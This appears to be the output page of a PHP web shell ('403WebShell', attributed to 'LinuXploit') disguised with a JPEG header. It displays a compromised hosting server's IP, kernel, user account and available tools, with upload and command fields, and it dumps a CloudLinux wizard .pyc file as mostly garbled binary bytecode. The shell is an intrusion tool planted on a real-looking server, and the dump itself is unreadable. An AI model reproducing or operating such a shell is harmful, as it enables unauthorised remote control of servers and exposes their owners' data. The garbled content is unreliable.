ÿØÿà JPEG ÿþ; 403WebShell
403Webshell
Server IP : 68.65.120.201  /  Your IP : 216.73.216.184
Web Server : LiteSpeed
System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : taxhyuvu ( 2294)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/clwizard/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/clwizard/__pycache__/wizard.cpython-311.pyc
�

�Ѯhq:���ddlZddlZddlZddlZddlZddlmZmZddlZddl	m
Z
ddlmZm
Z
mZmZmZddlmZddlmZmZddlmZmZmZmZmZdd	lmZmZdd
lm Z m!Z!m"Z"ddl#m$Z$ddl%m&Z&m'Z'm(Z(Gd
�d��Z)dS)�N)�ClassVar�NoReturn)�FormattedException)�ExternalProgramFailed�get_cl_version�get_package_db_errors�	is_ubuntu�run_command)�NoSuchModule�)�Config�acquire_config_access)�CRASH_LOG_PATH�FILE_MARKER_PATH�
MAIN_LOG_PATH�ModuleStatus�WizardStatus)�CancelModuleException�InstallationFailedException)�ALL_MODULES�get_supported_modules�run_installation)�parse_cloudlinux_wizard_opts)�is_background_process_running�run_background�setup_loggerc�b�eZdZUdZejejejgZe	e
eed<ej
ejejgZe	e
eed<d�Zd�Zed���Zd�Zdd	edzd
dfd�Zd�Zd
�Zd�Zd�Zd�Zded
dfd�Zd�Zd�Zd�Zde d
efd�Z!e		ddede"d
e#fd���Z$dS)�CloudlinuxWizardzAMain class for working with Wizard that exposes high level logic.�CANCELLABLE_MODULE_STATUSES�DONE_MODULES_STATUSESc�n�d|_t��|_tdt��|_dS)Nzwizard.main)�_optsr�_supported_modulesrr�log��selfs �F/opt/cloudlinux/venv/lib64/python3.11/site-packages/clwizard/wizard.py�__init__zCloudlinuxWizard.__init__As,����
�"7�"9�"9����
�}�=�=�����c��t|��|_	|jjdkr�|���|���r#|jjs|�dd���|jjr#|���t��n�|�
|jj���n�|jjdkrJ|���|jjr|�
��nq|���n\|jjdkr |�|jj��n,|jjdkr|���nt$�|jjd	vr|���s$|jjdkr<|���s(|���|���|���d
S#t,$rO}|j�d
|���|�|j|j|jd���Yd
}~d
Sd
}~wt8$r|�dd���Yd
St:$rO}|j�d|���|�dt=j�����Yd
}~d
Sd
}~wwxYw)zx
        CL Wizard main function.

        :param argv: command line arguments for wizard
        :return: None
        �installzInstallation already finishedr��result�	exit_code)�options�status�cancel�finish)r+r1z,Got an error while running cloudlinux-wizard��exc_info)r-�context�detailsr.Nz<Module installation failed, see the log for more informationz"Unknown error in cloudlinux-wizardzVUnknown error occured, please, try again or contact CloudLinux support if it persists.)r-r6) rr"�	subparser�_validate_system�is_installation_finished�force�_print_result_and_exit�no_async�_prepare_for_installationr�run_background_installation�	json_data�initial�_get_initial_status�_get_modules_statuses�_cancel_module_installation�module�create_completion_marker�NotImplementedError�is_all_modules_installed�run_collecting_statistics�run_cagefs_force_updaterr$�	exception�messager5r6r�	Exception�	traceback�
format_exc)r&�argv�errs   r'�runzCloudlinuxWizard.runFsX��2�$�7�7��
�A	��z�#�y�0�0��%�%�'�'�'��0�0�2�2��4�:�;K���/�/�>�"#�0�����:�&�S��2�2�4�4�4�$�&�&�&�&��4�4�T�Z�=Q�4�R�R�R�R���%��1�1��%�%�'�'�'��:�%�1��,�,�.�.�.�.��.�.�0�0�0�0���%��1�1��0�0���1B�C�C�C�C���%��1�1��-�-�/�/�/�/�)�)��
�$�(=�=�=�$�B_�B_�Ba�Ba�=��
�$��0�0��9V�9V�9X�9X�0��.�.�0�0�0��,�,�.�.�.��'�'�)�)�)�)�)��!�
	�
	�
	��H���>��
�
�
�
�
�'�'��{������	
(�
�
�
�
�
�
�
�
�
�����+�	�	�	��'�'�U��
(�
�
�
�
�
�
��	�	�	��H���C�c��R�R�R��'�'�o�!�,�.�.�
(�
�
�
�
�
�
�
�
�
�����	���s,�G#G;�;
K�AI�$K�6	K�?AK	�	Kc�J�tj�t��S�N)�os�path�isfiler�r)r'r9z)CloudlinuxWizard.is_installation_finished�s���w�~�~�.�/�/�/r)c��	tjt��|j�d��dS#t
$rJ}|j�dt|����|�dd���Yd}~dSd}~wwxYw)NzWizard execution completez:Wizard 'finish' command called more than once, error: '%s'z-Wizard 'finish' command called more than oncerr,)	rT�mknodrr$�info�OSError�warning�strr;)r&rPs  r'rEz)CloudlinuxWizard.create_completion_marker�s���	��H�%�&�&�&��H�M�M�5�6�6�6�6�6���	�	�	��H���L��C���
�
�
�
�'�'�F��
(�
�
�
�
�
�
�
�
�
�����	���s�37�
B�?B�BNr/�returnc��tjdd�}|�d��t��5}t	��r|�dd���|�|�|��t|��j}||_	ddd��n#1swxYwY|�d|���dS)Nz
--no-asynczMUnable to start a new installation because a background task is still workingrr,�success)r-�pid)
�sysrO�appendrrr;�set_modulesrra�
worker_pid)r&r/�cmd�configres     r'r>z,CloudlinuxWizard.run_background_installation�s���h�q�q�q�k���
�
�<� � � �
"�
$�
$�	+��-�.�.�
��+�+�j��,����
�"��"�"�7�+�+�+�(��,�,�0�J� *�F��	+�	+�	+�	+�	+�	+�	+�	+�	+�	+�	+����	+�	+�	+�	+�	
�#�#�9�*�#�E�E�E�E�Es�AB�B �#B c�R�t���|�d���dSdS)zC
        Check whether Wizard supports the current system.
        Nz�Could not identify the CloudLinux version. Restart your system. If you have the same problem again - contact CloudLinux support.�r-)rr;r%s r'r8z!CloudlinuxWizard._validate_system�sD�����#��'�'�.�
(�
�
�
�
�
�$�#r)c��t��regd�}	t|��}|j�d|��dS#t$r'}|j�d|���Yd}~dSd}~wwxYwgd�}	t|��}|j�d|��dS#t$r'}|j�d|���Yd}~dSd}~wwxYw)	z�
        Prepare the environment before performing the installation.
        This function updates the package lists if run on Ubuntu, expires Yum
        cache when running on RHEL-based systems.
        )zapt-getz-q�updatezapt-get update output:
%szError during apt-get updater3N)�yumz-qy�cleanzexpire-cachez!yum clean expire-cache output:
%sz#Error during yum clean expire-cache)r	r
r$rZrrJ�r&rf�outrPs    r'r=z*CloudlinuxWizard._prepare_for_installation�s,���;�;�
	X�-�-�-�C�
P�!�#�&�&����
�
�:�C�@�@�@�@�@��(�
P�
P�
P���"�"�#@�3�"�O�O�O�O�O�O�O�O�O�����
P����:�9�9�C�
X�!�#�&�&����
�
�B�C�H�H�H�H�H��(�
X�
X�
X���"�"�#H�SV�"�W�W�W�W�W�W�W�W�W�����
X���s/�*A�
A1�
A,�,A1�9*B%�%
C�/C�Cc�&�|j|jS)z.
        Get path to module log file.
        )r#�LOG_FILE)r&�module_names  r'�_get_module_log_pathz%CloudlinuxWizard._get_module_log_path�s���&�{�3�<�<r)c�0�g}t��5}|�|��}|jD]�}	|�|��}|�|��}n#t
$rY�:wxYw|||d�}|tjtjfvr|�	|��|d<|�
|����	ddd��n#1swxYwY|tjkr|�
||t���|�
||���dS)z@
        Get information about background worker state.
        )r0�name�status_time�log_fileN)�
wizard_status�modules�	crash_log)rxry)r�_get_wizard_stater#�get_module_status�get_module_status_timerr�FAILED�AUTO_SKIPPEDrsrcr�CRASHEDr;r)r&ryrg�staterur0rv�
module_statuss        r'rBz&CloudlinuxWizard._get_modules_statuses�s�����
"�
$�
$�	.���*�*�6�2�2�E��/�

.�

.���#�5�5�d�;�;�F�"(�"?�"?��"E�"E�K�K��#�����H�����%� �#.�!�!�
�
�l�1�<�3L�M�M�M�04�0I�0I�$�0O�0O�M�*�-����}�-�-�-�-�

.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.�	.����	.�	.�	.�	.� �L�(�(�(��'�'�#��(�
(�
�
�
�
	
�#�#�%��#�I�I�I�I�Is5�C�*A�C�
A)�&C�(A)�)AC�C�Cc�X�t��}|r|�|���dSd�tD��}t|j�����}t
||z
��}|�d�|j���D��|���dS)z`
        Get initial modules status that is used by lvemanager to display wizard pages.
        ric�,�h|]}t|����SrW)r])�.0�keys  r'�	<setcomp>z7CloudlinuxWizard._get_initial_status.<locals>.<setcomp>s��?�?�?�C�s�3�x�x�?�?�?r)c�N�i|]"\}}||�������#SrW)�initial_status)r�rr�clss   r'�
<dictcomp>z8CloudlinuxWizard._get_initial_status.<locals>.<dictcomp>s1��u�u�u�AQ��c��c�c�e�e�&:�&:�&<�&<�u�u�ur))ry�unsuppored_by_cpN)rr;r�setr#�keys�list�items)r&�
error_message�all_modules_set�supported_modules_set�unsupported_by_cps     r'rAz$CloudlinuxWizard._get_initial_status�s���.�/�/�
��
	��'�'�}�'�=�=�=�=�=�?�?�;�?�?�?�O�$'��(?�(D�(D�(F�(F�$G�$G�!� $�_�7L�%L� M� M���'�'�u�u�UY�Ul�Ur�Ur�Ut�Ut�u�u�u�!2�
(�
�
�
�
�
r)rDc��|j�d|��t��5}|�|��}||jvr=|�|tj���|j�d|��n,|j�d||��t||���	ddd��dS#1swxYwYdS)zS
        Remove module from queue or print the error if it's not possible.
        z0Trying to cancel the installation of module '%s')rr�	new_statez.Module '%s' installation successfully canceledzGUnable to cancel module '%s' installation, because it is in status '%s'N)
r$rZrr|r�set_module_statusr�	CANCELLEDr\r)r&rDrgr0s    r'rCz,CloudlinuxWizard._cancel_module_installations'��	
��
�
�H�&�Q�Q�Q�
"�
$�
$�	<���-�-�f�5�5�F���9�9�9��(�(� &�*�4�)������
�
�N�PV�W�W�W�W��� � �]������
,�F�F�;�;�;�X�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<�	<����	<�	<�	<�	<�	<�	<s�BC�C�Cc�h�ddg}tj�d��s|�d��|j�d��	t
|��}|j�d|��d	S#t$r'}|j�d|���Yd	}~d	Sd	}~wwxYw)
z,
        Collect user's statistics.
        z/usr/sbin/cloudlinux-summaryz--send�SYNCHRONOUS_SUMMARYz--asynczCollecting statistics...z*Statistics collection command output: '%s'z"Error during statistics collectionr3N)	rT�environ�getrcr$rZr
rrJrns    r'rHz*CloudlinuxWizard.run_collecting_statistics$s���.�x�8���z�~�~�3�4�4�	"��J�J�y�!�!�!���
�
�0�1�1�1�	S��c�"�"�C��H�M�M�F��L�L�L�L�L��$�	S�	S�	S��H���C�c��R�R�R�R�R�R�R�R�R�����	S���s�*B�
B1�
B,�,B1c����t��5}t|j�����}ddd��n#1swxYwYt	�fd�|D����S)zy
        Check that all modules were either:
        -- installed
        -- canceled
        -- or auto-skipped
        Nc3�*�K�|]
}|�jvV��dSrS�r �r�r0r&s  �r'�	<genexpr>z<CloudlinuxWizard.is_all_modules_installed.<locals>.<genexpr>=�+�����O�O�F�6�T�7�7�O�O�O�O�O�Or))rr��statuses�values�all�r&rgr�s`  r'rGz)CloudlinuxWizard.is_all_modules_installed3s����#�
$�
$�	6���F�O�2�2�4�4�5�5�H�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6�	6����	6�	6�	6�	6��O�O�O�O�h�O�O�O�O�O�Os�'A�A�
Ac�2�d}tj�|��sdS|ddg}|j�d|��t|��}t
tj�d����}|r|�	��dSdS)z=
        Run cagefsctl --force-update in background.
        z/usr/sbin/cagefsctlNz--force-updatez--wait-lockz2Starting cagefs force-update in the background: %s�CL_TEST_SYSTEM)
rTrUrVr$rZr�boolr�r��communicate)r&�
cagefsctl_binrf�cagefsctl_proc�is_test_environments     r'rIz(CloudlinuxWizard.run_cagefs_force_update?s���.�
��w�~�~�m�,�,�	��F��.�
�>����
�
�J�C�P�P�P�'��,�,��"�2�:�>�>�2B�#C�#C�D�D���	)��&�&�(�(�(�(�(�	)�	)r)rgc����|j�tjS	tj|j��n�#tj$r�t
|j�����}t�fd�|D����rtj
cYStd�|D����r'td�|D����stjcYStj
cYSwxYwtjS)Nc3�*�K�|]
}|�jvV��dSrSr�r�s  �r'r�z5CloudlinuxWizard._get_wizard_state.<locals>.<genexpr>_r�r)c3�JK�|]}|tjtjfvV��dSrS)rr~r��r�r0s  r'r�z5CloudlinuxWizard._get_wizard_state.<locals>.<genexpr>cs2����b�b�v�6�l�1�<�3I�J�J�b�b�b�b�b�br)c3�4K�|]}|tjfvV��dSrS)r�
INSTALLINGr�s  r'r�z5CloudlinuxWizard._get_wizard_state.<locals>.<genexpr>csF����o�o�9?��<�2�4�4�o�o�o�o�o�or))rer�IDLE�psutil�Process�
NoSuchProcessr�r�r�r��DONE�anyr~r��IN_PROGRESSr�s`  r'r{z"CloudlinuxWizard._get_wizard_stateOs#�����$��$�$�	(��N�6�,�-�-�-�-���#�	(�	(�	(��F�O�2�2�4�4�5�5�H��O�O�O�O�h�O�O�O�O�O�
)�#�(�(�(�(��b�b�Ya�b�b�b�b�b�
+�kn�o�o�CK�o�o�o�l�l�
+�$�*�*�*�*��'�'�'�'�	(����"�'�'s�0�AC�>C�C�Cr`rr-r.c���|tj��d�}|�|��ttj|dd�����tj|��dS)z�
        Print data in default format for web and exit.

        :param dict extra: extra fields for the response, usually we expect 'context' here
        )r-�	timestamp�T)�indent�	sort_keysN)�timerk�print�json�dumpsrb�exit)r-r.�extrarKs    r'r;z'CloudlinuxWizard._print_result_and_exitks^��$�$�)�+�+�>�>�����u����
�d�j���d�;�;�;�<�<�<��������r)rS)r`r)%�__name__�
__module__�__qualname__�__doc__r�PENDINGr~r�rrr�r]�__annotations__�	INSTALLEDrr r(rQ�staticmethodr9rE�dictr>r8r=rsrBrArCrHrGrIr
r{�intrr;rWr)r'rr0s�������K�K�	������8���$�s�)�!4����	�����!�2��8�D��I�.����>�>�>�
I�I�I�V�0�0��\�0�
�
�
�F�F�4�$�;�F�$�F�F�F�F�(	�	�	�X�X�X�*=�=�=�J�J�J�>���"<�#�<�$�<�<�<�<�*
S�
S�
S�
P�
P�
P�)�)�)� (��(�3�(�(�(�(�8���
�
��
��
�
�	
�
�
��\�
�
�
r)r)*r�rTrbr�rM�typingrrr��clcommonr�clcommon.utilsrrrr	r
�clwizard.configrrgr
r�	constantsrrrrr�
exceptionsrrryrrr�parserr�utilsrrrrrWr)r'�<module>r�s�������	�	�	�	�
�
�
�
���������%�%�%�%�%�%�%�%�
�
�
�
�'�'�'�'�'�'���������������)�(�(�(�(�(�����������������������K�J�J�J�J�J�J�J�I�I�I�I�I�I�I�I�I�I�0�0�0�0�0�0�����������I�I�I�I�I�I�I�I�I�Ir)

Youez - 2016 - github.com/yon3zu
LinuXploit